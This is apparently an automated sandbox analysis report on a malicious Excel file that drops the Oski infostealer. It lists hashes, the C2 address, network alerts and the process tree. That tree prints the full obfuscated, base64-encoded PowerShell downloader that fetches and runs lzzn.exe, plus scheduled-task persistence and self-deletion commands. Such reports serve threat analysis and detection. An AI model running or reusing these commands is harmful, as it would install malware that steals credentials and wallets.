Analysis
-
max time kernel
239s -
max time network
241s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
06/08/2021, 13:51
Static task
static1
Behavioral task
behavioral1
Sample
SAMPLE_ORDER_.xls
Resource
win7v20210408
Behavioral task
behavioral2
Sample
SAMPLE_ORDER_.xls
Resource
win10v20210408
General
-
Target
SAMPLE_ORDER_.xls
-
Size
43KB
-
MD5
bc998900cfb06a407c973873ba745776
-
SHA1
232f5703a4744258407157e9f3b06b4c15171ef8
-
SHA256
78bbff7297f8be0a95a2c3942c7c8d80bd6d68bc561543ba7c4275eb2e15e649
-
SHA512
f80a6648c48ae90d9819cf1297358e1da2503a7a6dfad8398d78bdc9d8c6d02bde409b49ff4033fc70f1512003673c381a052491c431d7ff719abe1ac7b0d473
Malware Config
Extracted
oski
185.212.131.198/ww/
Signatures
-
Oski
Oski is an infostealer targeting browser data, crypto wallets.
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 652 1080 cmd.exe 24 -
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
-
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
-
Downloads MZ/PE file
-
Loads dropped DLL 5 IoCs
pid Process 1208 lzzn.exe 1208 lzzn.exe 1208 lzzn.exe 1208 lzzn.exe 1208 lzzn.exe -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1632 set thread context of 1208 1632 lzzn.exe 38 -
Office loads VBA resources, possible macro or embedded object present
-
Checks processor information in registry 2 TTPs 1 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString lzzn.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1920 schtasks.exe -
Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Kills process with taskkill 1 IoCs
pid Process 1360 taskkill.exe -
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1080 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 1060 powershell.exe 1060 powershell.exe 1632 lzzn.exe 1632 lzzn.exe 1632 lzzn.exe 1632 lzzn.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 1060 powershell.exe Token: SeDebugPrivilege 1632 lzzn.exe Token: SeDebugPrivilege 1360 taskkill.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 1080 EXCEL.EXE 1080 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 1080 EXCEL.EXE 1080 EXCEL.EXE 1080 EXCEL.EXE -
Suspicious use of WriteProcessMemory 42 IoCs
description pid Process procid_target PID 1080 wrote to memory of 652 1080 EXCEL.EXE 26 PID 1080 wrote to memory of 652 1080 EXCEL.EXE 26 PID 1080 wrote to memory of 652 1080 EXCEL.EXE 26 PID 1080 wrote to memory of 652 1080 EXCEL.EXE 26 PID 652 wrote to memory of 1060 652 cmd.exe 28 PID 652 wrote to memory of 1060 652 cmd.exe 28 PID 652 wrote to memory of 1060 652 cmd.exe 28 PID 652 wrote to memory of 1060 652 cmd.exe 28 PID 1060 wrote to memory of 1632 1060 powershell.exe 33 PID 1060 wrote to memory of 1632 1060 powershell.exe 33 PID 1060 wrote to memory of 1632 1060 powershell.exe 33 PID 1060 wrote to memory of 1632 1060 powershell.exe 33 PID 1632 wrote to memory of 1920 1632 lzzn.exe 34 PID 1632 wrote to memory of 1920 1632 lzzn.exe 34 PID 1632 wrote to memory of 1920 1632 lzzn.exe 34 PID 1632 wrote to memory of 1920 1632 lzzn.exe 34 PID 1632 wrote to memory of 1412 1632 lzzn.exe 36 PID 1632 wrote to memory of 1412 1632 lzzn.exe 36 PID 1632 wrote to memory of 1412 1632 lzzn.exe 36 PID 1632 wrote to memory of 1412 1632 lzzn.exe 36 PID 1632 wrote to memory of 1232 1632 lzzn.exe 37 PID 1632 wrote to memory of 1232 1632 lzzn.exe 37 PID 1632 wrote to memory of 1232 1632 lzzn.exe 37 PID 1632 wrote to memory of 1232 1632 lzzn.exe 37 PID 1632 wrote to memory of 1208 1632 lzzn.exe 38 PID 1632 wrote to memory of 1208 1632 lzzn.exe 38 PID 1632 wrote to memory of 1208 1632 lzzn.exe 38 PID 1632 wrote to memory of 1208 1632 lzzn.exe 38 PID 1632 wrote to memory of 1208 1632 lzzn.exe 38 PID 1632 wrote to memory of 1208 1632 lzzn.exe 38 PID 1632 wrote to memory of 1208 1632 lzzn.exe 38 PID 1632 wrote to memory of 1208 1632 lzzn.exe 38 PID 1632 wrote to memory of 1208 1632 lzzn.exe 38 PID 1632 wrote to memory of 1208 1632 lzzn.exe 38 PID 1208 wrote to memory of 868 1208 lzzn.exe 41 PID 1208 wrote to memory of 868 1208 lzzn.exe 41 PID 1208 wrote to memory of 868 1208 lzzn.exe 41 PID 1208 wrote to memory of 868 1208 lzzn.exe 41 PID 868 wrote to memory of 1360 868 cmd.exe 43 PID 868 wrote to memory of 1360 868 cmd.exe 43 PID 868 wrote to memory of 1360 868 cmd.exe 43 PID 868 wrote to memory of 1360 868 cmd.exe 43
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\SAMPLE_ORDER_.xls1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1080 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c pO^W^Ers^He^LL -e WwBzAFkAUwBUAEUAbQAuAHQARQB4AFQALgBFAE4AQwBPAEQASQBOAGcAXQA6ADoAdQBOAGkAQwBvAGQAZQAuAEcARQB0AHMAdAByAGkAbgBHACgAWwBTAHkAUwB0AGUAbQAuAGMATwBuAHYARQBSAFQAXQA6ADoAZgByAE8ATQBCAEEAUwBlADYANABTAFQAcgBpAE4ARwAoACIAZABBAEIAeQBBAEgAawBBAEkAQQBCADcAQQBHAFkAQQBiAHcAQgB5AEEAQwBBAEEASwBBAEEAawBBAEcAawBBAFAAUQBBAHgAQQBEAHMAQQBJAEEAQQBrAEEARwBrAEEASQBBAEEAdABBAEcAdwBBAFoAUQBBAGcAQQBEAEUAQQBNAGcAQQB3AEEARABBAEEATQBBAEEANwBBAEMAQQBBAEoAQQBCAHAAQQBDAHMAQQBLAHcAQQBwAEEAQwBBAEEAZQB3AEEAawBBAEcAawBBAEwAQQBBAGkAQQBHAEEAQQBiAGcAQQBpAEEASAAwAEEAZgBRAEEAZwBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEARABRAEEASwBBAEcAWQBBAGQAUQBCAHUAQQBHAE0AQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAZwBBAEcASQBBAGIAZwBCAHcAQQBIAGMAQQBkAEEAQgBxAEEASABrAEEAYwB3AEIAeQBBAEcAbwBBAGQAUQBCAGoAQQBIAGMAQQBaAGcAQgBzAEEARwBvAEEAYQB3AEIAbQBBAEcAcwBBAGMAUQBCAGkAQQBIAFkAQQBkAGcAQgAzAEEAQwBBAEEASwBBAEEAZwBBAEMAUQBBAGEAUQBCAHQAQQBIAFkAQQBaAFEAQgBqAEEASABRAEEAYwB3AEIAagBBAEgARQBBAFkAUQBCADMAQQBHADAAQQBkAHcAQgBqAEEARwBnAEEAYQBBAEIAawBBAEgAVQBBAEkAQQBBAHMAQQBDAEEAQQBKAEEAQgAzAEEARwBnAEEAYwB3AEIAbgBBAEgASQBBAGQAdwBCAGkAQQBIAE0AQQBjAGcAQgBtAEEARwBzAEEAWgBBAEIAcgBBAEcAYwBBAGMAdwBCADAAQQBHADQAQQBhAEEAQgB2AEEAQwBBAEEASwBRAEEATgBBAEEAbwBBAGUAdwBBAGcAQQBHAGsAQQBUAFEAQgBRAEEARwA4AEEAVQBnAEIAVQBBAEMAMABBAGIAUQBCAHYAQQBFAFEAQQBWAFEAQgBzAEEARwBVAEEASQBBAEIAaQBBAEcAawBBAFYAQQBCAHoAQQBIAFEAQQBjAGcAQgBCAEEARQA0AEEAVQB3AEIAbQBBAEUAVQBBAGMAZwBBADcAQQBBADAAQQBDAGcAQgBUAEEASABRAEEAUQBRAEIAUwBBAEgAUQBBAEwAUQBCAEMAQQBFAGsAQQBkAEEAQgB6AEEARgBRAEEAVQBnAEIAQgBBAEUANABBAGMAdwBCAEcAQQBFAFUAQQBjAGcAQQBnAEEAQwAwAEEAYwB3AEIAUABBAEYAVQBBAGMAZwBCAGoAQQBHAFUAQQBJAEEAQQBrAEEARwBrAEEAYgBRAEIAMgBBAEcAVQBBAFkAdwBCADAAQQBIAE0AQQBZAHcAQgB4AEEARwBFAEEAZAB3AEIAdABBAEgAYwBBAFkAdwBCAG8AQQBHAGcAQQBaAEEAQgAxAEEAQwBBAEEATABRAEIARQBBAEUAVQBBAGMAdwBCADAAQQBHAGsAQQBUAGcAQgBoAEEASABRAEEAYQBRAEIAUABBAEcANABBAEkAQQBBAGsAQQBIAGMAQQBhAEEAQgB6AEEARwBjAEEAYwBnAEIAMwBBAEcASQBBAGMAdwBCAHkAQQBHAFkAQQBhAHcAQgBrAEEARwBzAEEAWgB3AEIAegBBAEgAUQBBAGIAZwBCAG8AQQBHADgAQQBPAHcAQQBnAEEAQwBZAEEASQBBAEEAawBBAEgAYwBBAGEAQQBCAHoAQQBHAGMAQQBjAGcAQgAzAEEARwBJAEEAYwB3AEIAeQBBAEcAWQBBAGEAdwBCAGsAQQBHAHMAQQBaAHcAQgB6AEEASABRAEEAYgBnAEIAbwBBAEcAOABBAE8AdwBBAGcAQQBIADAAQQBkAEEAQgB5AEEASABrAEEAZQB3AEEAawBBAEgASQBBAGEAdwBCAG0AQQBHAGsAQQBhAGcAQgB5AEEARwA0AEEAZQBBAEIANQBBAEgAawBBAFoAQQBCAGkAQQBHADAAQQBkAHcAQgBqAEEARwBRAEEAYgBBAEIAdQBBAEgAawBBAGUAUQBCADEAQQBHAEkAQQBaAFEAQgBvAEEARwBJAEEAUABRAEEAawBBAEUAVQBBAGIAZwBCAFcAQQBEAG8AQQBkAEEAQgBGAEEARwAwAEEAYwBBAEEAcgBBAEMAYwBBAFgAQQBCAHMAQQBIAG8AQQBlAGcAQgB1AEEAQwA0AEEAWgBRAEIANABBAEcAVQBBAEoAdwBBADcAQQBBADAAQQBDAGcAQgBpAEEARwA0AEEAYwBBAEIAMwBBAEgAUQBBAGEAZwBCADUAQQBIAE0AQQBjAGcAQgBxAEEASABVAEEAWQB3AEIAMwBBAEcAWQBBAGIAQQBCAHEAQQBHAHMAQQBaAGcAQgByAEEASABFAEEAWQBnAEIAMgBBAEgAWQBBAGQAdwBBAGcAQQBDAGMAQQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADAAQQBEAFkAQQBMAGcAQQB4AEEARABnAEEATQB3AEEAdQBBAEQASQBBAE0AZwBBAHoAQQBDADQAQQBNAHcAQQAwAEEAQwA4AEEAUgB3AEIANABBAEcATQBBAFEAUQBCAGsAQQBHAGsAQQBlAGcAQgBXAEEARwA0AEEAVABRAEIAdQBBAEQARQBBAFUAZwBCAEMAQQBFADgAQQBMAGcAQgBsAEEASABnAEEAWgBRAEEAbgBBAEMAQQBBAEoAQQBCAHkAQQBHAHMAQQBaAGcAQgBwAEEARwBvAEEAYwBnAEIAdQBBAEgAZwBBAGUAUQBCADUAQQBHAFEAQQBZAGcAQgB0AEEASABjAEEAWQB3AEIAawBBAEcAdwBBAGIAZwBCADUAQQBIAGsAQQBkAFEAQgBpAEEARwBVAEEAYQBBAEIAaQBBAEQAcwBBAEQAUQBBAEsAQQBHAEkAQQBiAGcAQgB3AEEASABjAEEAZABBAEIAcQBBAEgAawBBAGMAdwBCAHkAQQBHAG8AQQBkAFEAQgBqAEEASABjAEEAWgBnAEIAcwBBAEcAbwBBAGEAdwBCAG0AQQBHAHMAQQBjAFEAQgBpAEEASABZAEEAZABnAEIAMwBBAEMAQQBBAEoAdwBCAG8AQQBIAFEAQQBkAEEAQgB3AEEARABvAEEATAB3AEEAdgBBAEQAUQBBAE4AZwBBAHUAQQBEAEUAQQBPAEEAQQB6AEEAQwA0AEEATQBnAEEAeQBBAEQATQBBAEwAZwBBAHoAQQBEAFEAQQBMAHcAQgBIAEEASABnAEEAWQB3AEIAQgBBAEcAUQBBAGEAUQBCADYAQQBGAFkAQQBiAGcAQgBOAEEARwA0AEEATQBRAEIAUwBBAEUASQBBAFQAdwBBAHUAQQBHAFUAQQBlAEEAQgBsAEEAQwBjAEEASQBBAEEAawBBAEgASQBBAGEAdwBCAG0AQQBHAGsAQQBhAGcAQgB5AEEARwA0AEEAZQBBAEIANQBBAEgAawBBAFoAQQBCAGkAQQBHADAAQQBkAHcAQgBqAEEARwBRAEEAYgBBAEIAdQBBAEgAawBBAGUAUQBCADEAQQBHAEkAQQBaAFEAQgBvAEEARwBJAEEATwB3AEEATgBBAEEAbwBBAFkAZwBCAHUAQQBIAEEAQQBkAHcAQgAwAEEARwBvAEEAZQBRAEIAegBBAEgASQBBAGEAZwBCADEAQQBHAE0AQQBkAHcAQgBtAEEARwB3AEEAYQBnAEIAcgBBAEcAWQBBAGEAdwBCAHgAQQBHAEkAQQBkAGcAQgAyAEEASABjAEEASQBBAEEAbgBBAEcAZwBBAGQAQQBCADAAQQBIAEEAQQBPAGcAQQB2AEEAQwA4AEEATgBBAEEAMgBBAEMANABBAE0AUQBBADQAQQBEAE0AQQBMAGcAQQB5AEEARABJAEEATQB3AEEAdQBBAEQATQBBAE4AQQBBAHYAQQBFAGMAQQBlAEEAQgBqAEEARQBFAEEAWgBBAEIAcABBAEgAbwBBAFYAZwBCAHUAQQBFADAAQQBiAGcAQQB4AEEARgBJAEEAUQBnAEIAUABBAEMANABBAFoAUQBCADQAQQBHAFUAQQBKAHcAQQBnAEEAQwBRAEEAYwBnAEIAcgBBAEcAWQBBAGEAUQBCAHEAQQBIAEkAQQBiAGcAQgA0AEEASABrAEEAZQBRAEIAawBBAEcASQBBAGIAUQBCADMAQQBHAE0AQQBaAEEAQgBzAEEARwA0AEEAZQBRAEIANQBBAEgAVQBBAFkAZwBCAGwAQQBHAGcAQQBZAGcAQQA3AEEAQQAwAEEAQwBnAEIAOQBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEAIgApACkAfABJAGUAWAA=2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:652 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepOWErsHeLL -e WwBzAFkAUwBUAEUAbQAuAHQARQB4AFQALgBFAE4AQwBPAEQASQBOAGcAXQA6ADoAdQBOAGkAQwBvAGQAZQAuAEcARQB0AHMAdAByAGkAbgBHACgAWwBTAHkAUwB0AGUAbQAuAGMATwBuAHYARQBSAFQAXQA6ADoAZgByAE8ATQBCAEEAUwBlADYANABTAFQAcgBpAE4ARwAoACIAZABBAEIAeQBBAEgAawBBAEkAQQBCADcAQQBHAFkAQQBiAHcAQgB5AEEAQwBBAEEASwBBAEEAawBBAEcAawBBAFAAUQBBAHgAQQBEAHMAQQBJAEEAQQBrAEEARwBrAEEASQBBAEEAdABBAEcAdwBBAFoAUQBBAGcAQQBEAEUAQQBNAGcAQQB3AEEARABBAEEATQBBAEEANwBBAEMAQQBBAEoAQQBCAHAAQQBDAHMAQQBLAHcAQQBwAEEAQwBBAEEAZQB3AEEAawBBAEcAawBBAEwAQQBBAGkAQQBHAEEAQQBiAGcAQQBpAEEASAAwAEEAZgBRAEEAZwBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEARABRAEEASwBBAEcAWQBBAGQAUQBCAHUAQQBHAE0AQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAZwBBAEcASQBBAGIAZwBCAHcAQQBIAGMAQQBkAEEAQgBxAEEASABrAEEAYwB3AEIAeQBBAEcAbwBBAGQAUQBCAGoAQQBIAGMAQQBaAGcAQgBzAEEARwBvAEEAYQB3AEIAbQBBAEcAcwBBAGMAUQBCAGkAQQBIAFkAQQBkAGcAQgAzAEEAQwBBAEEASwBBAEEAZwBBAEMAUQBBAGEAUQBCAHQAQQBIAFkAQQBaAFEAQgBqAEEASABRAEEAYwB3AEIAagBBAEgARQBBAFkAUQBCADMAQQBHADAAQQBkAHcAQgBqAEEARwBnAEEAYQBBAEIAawBBAEgAVQBBAEkAQQBBAHMAQQBDAEEAQQBKAEEAQgAzAEEARwBnAEEAYwB3AEIAbgBBAEgASQBBAGQAdwBCAGkAQQBIAE0AQQBjAGcAQgBtAEEARwBzAEEAWgBBAEIAcgBBAEcAYwBBAGMAdwBCADAAQQBHADQAQQBhAEEAQgB2AEEAQwBBAEEASwBRAEEATgBBAEEAbwBBAGUAdwBBAGcAQQBHAGsAQQBUAFEAQgBRAEEARwA4AEEAVQBnAEIAVQBBAEMAMABBAGIAUQBCAHYAQQBFAFEAQQBWAFEAQgBzAEEARwBVAEEASQBBAEIAaQBBAEcAawBBAFYAQQBCAHoAQQBIAFEAQQBjAGcAQgBCAEEARQA0AEEAVQB3AEIAbQBBAEUAVQBBAGMAZwBBADcAQQBBADAAQQBDAGcAQgBUAEEASABRAEEAUQBRAEIAUwBBAEgAUQBBAEwAUQBCAEMAQQBFAGsAQQBkAEEAQgB6AEEARgBRAEEAVQBnAEIAQgBBAEUANABBAGMAdwBCAEcAQQBFAFUAQQBjAGcAQQBnAEEAQwAwAEEAYwB3AEIAUABBAEYAVQBBAGMAZwBCAGoAQQBHAFUAQQBJAEEAQQBrAEEARwBrAEEAYgBRAEIAMgBBAEcAVQBBAFkAdwBCADAAQQBIAE0AQQBZAHcAQgB4AEEARwBFAEEAZAB3AEIAdABBAEgAYwBBAFkAdwBCAG8AQQBHAGcAQQBaAEEAQgAxAEEAQwBBAEEATABRAEIARQBBAEUAVQBBAGMAdwBCADAAQQBHAGsAQQBUAGcAQgBoAEEASABRAEEAYQBRAEIAUABBAEcANABBAEkAQQBBAGsAQQBIAGMAQQBhAEEAQgB6AEEARwBjAEEAYwBnAEIAMwBBAEcASQBBAGMAdwBCAHkAQQBHAFkAQQBhAHcAQgBrAEEARwBzAEEAWgB3AEIAegBBAEgAUQBBAGIAZwBCAG8AQQBHADgAQQBPAHcAQQBnAEEAQwBZAEEASQBBAEEAawBBAEgAYwBBAGEAQQBCAHoAQQBHAGMAQQBjAGcAQgAzAEEARwBJAEEAYwB3AEIAeQBBAEcAWQBBAGEAdwBCAGsAQQBHAHMAQQBaAHcAQgB6AEEASABRAEEAYgBnAEIAbwBBAEcAOABBAE8AdwBBAGcAQQBIADAAQQBkAEEAQgB5AEEASABrAEEAZQB3AEEAawBBAEgASQBBAGEAdwBCAG0AQQBHAGsAQQBhAGcAQgB5AEEARwA0AEEAZQBBAEIANQBBAEgAawBBAFoAQQBCAGkAQQBHADAAQQBkAHcAQgBqAEEARwBRAEEAYgBBAEIAdQBBAEgAawBBAGUAUQBCADEAQQBHAEkAQQBaAFEAQgBvAEEARwBJAEEAUABRAEEAawBBAEUAVQBBAGIAZwBCAFcAQQBEAG8AQQBkAEEAQgBGAEEARwAwAEEAYwBBAEEAcgBBAEMAYwBBAFgAQQBCAHMAQQBIAG8AQQBlAGcAQgB1AEEAQwA0AEEAWgBRAEIANABBAEcAVQBBAEoAdwBBADcAQQBBADAAQQBDAGcAQgBpAEEARwA0AEEAYwBBAEIAMwBBAEgAUQBBAGEAZwBCADUAQQBIAE0AQQBjAGcAQgBxAEEASABVAEEAWQB3AEIAMwBBAEcAWQBBAGIAQQBCAHEAQQBHAHMAQQBaAGcAQgByAEEASABFAEEAWQBnAEIAMgBBAEgAWQBBAGQAdwBBAGcAQQBDAGMAQQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADAAQQBEAFkAQQBMAGcAQQB4AEEARABnAEEATQB3AEEAdQBBAEQASQBBAE0AZwBBAHoAQQBDADQAQQBNAHcAQQAwAEEAQwA4AEEAUgB3AEIANABBAEcATQBBAFEAUQBCAGsAQQBHAGsAQQBlAGcAQgBXAEEARwA0AEEAVABRAEIAdQBBAEQARQBBAFUAZwBCAEMAQQBFADgAQQBMAGcAQgBsAEEASABnAEEAWgBRAEEAbgBBAEMAQQBBAEoAQQBCAHkAQQBHAHMAQQBaAGcAQgBwAEEARwBvAEEAYwBnAEIAdQBBAEgAZwBBAGUAUQBCADUAQQBHAFEAQQBZAGcAQgB0AEEASABjAEEAWQB3AEIAawBBAEcAdwBBAGIAZwBCADUAQQBIAGsAQQBkAFEAQgBpAEEARwBVAEEAYQBBAEIAaQBBAEQAcwBBAEQAUQBBAEsAQQBHAEkAQQBiAGcAQgB3AEEASABjAEEAZABBAEIAcQBBAEgAawBBAGMAdwBCAHkAQQBHAG8AQQBkAFEAQgBqAEEASABjAEEAWgBnAEIAcwBBAEcAbwBBAGEAdwBCAG0AQQBHAHMAQQBjAFEAQgBpAEEASABZAEEAZABnAEIAMwBBAEMAQQBBAEoAdwBCAG8AQQBIAFEAQQBkAEEAQgB3AEEARABvAEEATAB3AEEAdgBBAEQAUQBBAE4AZwBBAHUAQQBEAEUAQQBPAEEAQQB6AEEAQwA0AEEATQBnAEEAeQBBAEQATQBBAEwAZwBBAHoAQQBEAFEAQQBMAHcAQgBIAEEASABnAEEAWQB3AEIAQgBBAEcAUQBBAGEAUQBCADYAQQBGAFkAQQBiAGcAQgBOAEEARwA0AEEATQBRAEIAUwBBAEUASQBBAFQAdwBBAHUAQQBHAFUAQQBlAEEAQgBsAEEAQwBjAEEASQBBAEEAawBBAEgASQBBAGEAdwBCAG0AQQBHAGsAQQBhAGcAQgB5AEEARwA0AEEAZQBBAEIANQBBAEgAawBBAFoAQQBCAGkAQQBHADAAQQBkAHcAQgBqAEEARwBRAEEAYgBBAEIAdQBBAEgAawBBAGUAUQBCADEAQQBHAEkAQQBaAFEAQgBvAEEARwBJAEEATwB3AEEATgBBAEEAbwBBAFkAZwBCAHUAQQBIAEEAQQBkAHcAQgAwAEEARwBvAEEAZQBRAEIAegBBAEgASQBBAGEAZwBCADEAQQBHAE0AQQBkAHcAQgBtAEEARwB3AEEAYQBnAEIAcgBBAEcAWQBBAGEAdwBCAHgAQQBHAEkAQQBkAGcAQgAyAEEASABjAEEASQBBAEEAbgBBAEcAZwBBAGQAQQBCADAAQQBIAEEAQQBPAGcAQQB2AEEAQwA4AEEATgBBAEEAMgBBAEMANABBAE0AUQBBADQAQQBEAE0AQQBMAGcAQQB5AEEARABJAEEATQB3AEEAdQBBAEQATQBBAE4AQQBBAHYAQQBFAGMAQQBlAEEAQgBqAEEARQBFAEEAWgBBAEIAcABBAEgAbwBBAFYAZwBCAHUAQQBFADAAQQBiAGcAQQB4AEEARgBJAEEAUQBnAEIAUABBAEMANABBAFoAUQBCADQAQQBHAFUAQQBKAHcAQQBnAEEAQwBRAEEAYwBnAEIAcgBBAEcAWQBBAGEAUQBCAHEAQQBIAEkAQQBiAGcAQgA0AEEASABrAEEAZQBRAEIAawBBAEcASQBBAGIAUQBCADMAQQBHAE0AQQBaAEEAQgBzAEEARwA0AEEAZQBRAEIANQBBAEgAVQBBAFkAZwBCAGwAQQBHAGcAQQBZAGcAQQA3AEEAQQAwAEEAQwBnAEIAOQBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEAIgApACkAfABJAGUAWAA=3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1060 -
C:\Users\Admin\AppData\Local\Temp\lzzn.exe"C:\Users\Admin\AppData\Local\Temp\lzzn.exe"4⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1632 -
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\BqppCjWADhQ" /XML "C:\Users\Admin\AppData\Local\Temp\tmp5CD0.tmp"5⤵
- Creates scheduled task(s)
PID:1920
-
-
C:\Users\Admin\AppData\Local\Temp\lzzn.exe"C:\Users\Admin\AppData\Local\Temp\lzzn.exe"5⤵PID:1412
-
-
C:\Users\Admin\AppData\Local\Temp\lzzn.exe"C:\Users\Admin\AppData\Local\Temp\lzzn.exe"5⤵PID:1232
-
-
C:\Users\Admin\AppData\Local\Temp\lzzn.exe"C:\Users\Admin\AppData\Local\Temp\lzzn.exe"5⤵
- Loads dropped DLL
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
PID:1208 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /pid 1208 & erase C:\Users\Admin\AppData\Local\Temp\lzzn.exe & RD /S /Q C:\\ProgramData\\971277384448321\\* & exit6⤵
- Suspicious use of WriteProcessMemory
PID:868 -
C:\Windows\SysWOW64\taskkill.exetaskkill /pid 12087⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1360
-
-
-
-
-
-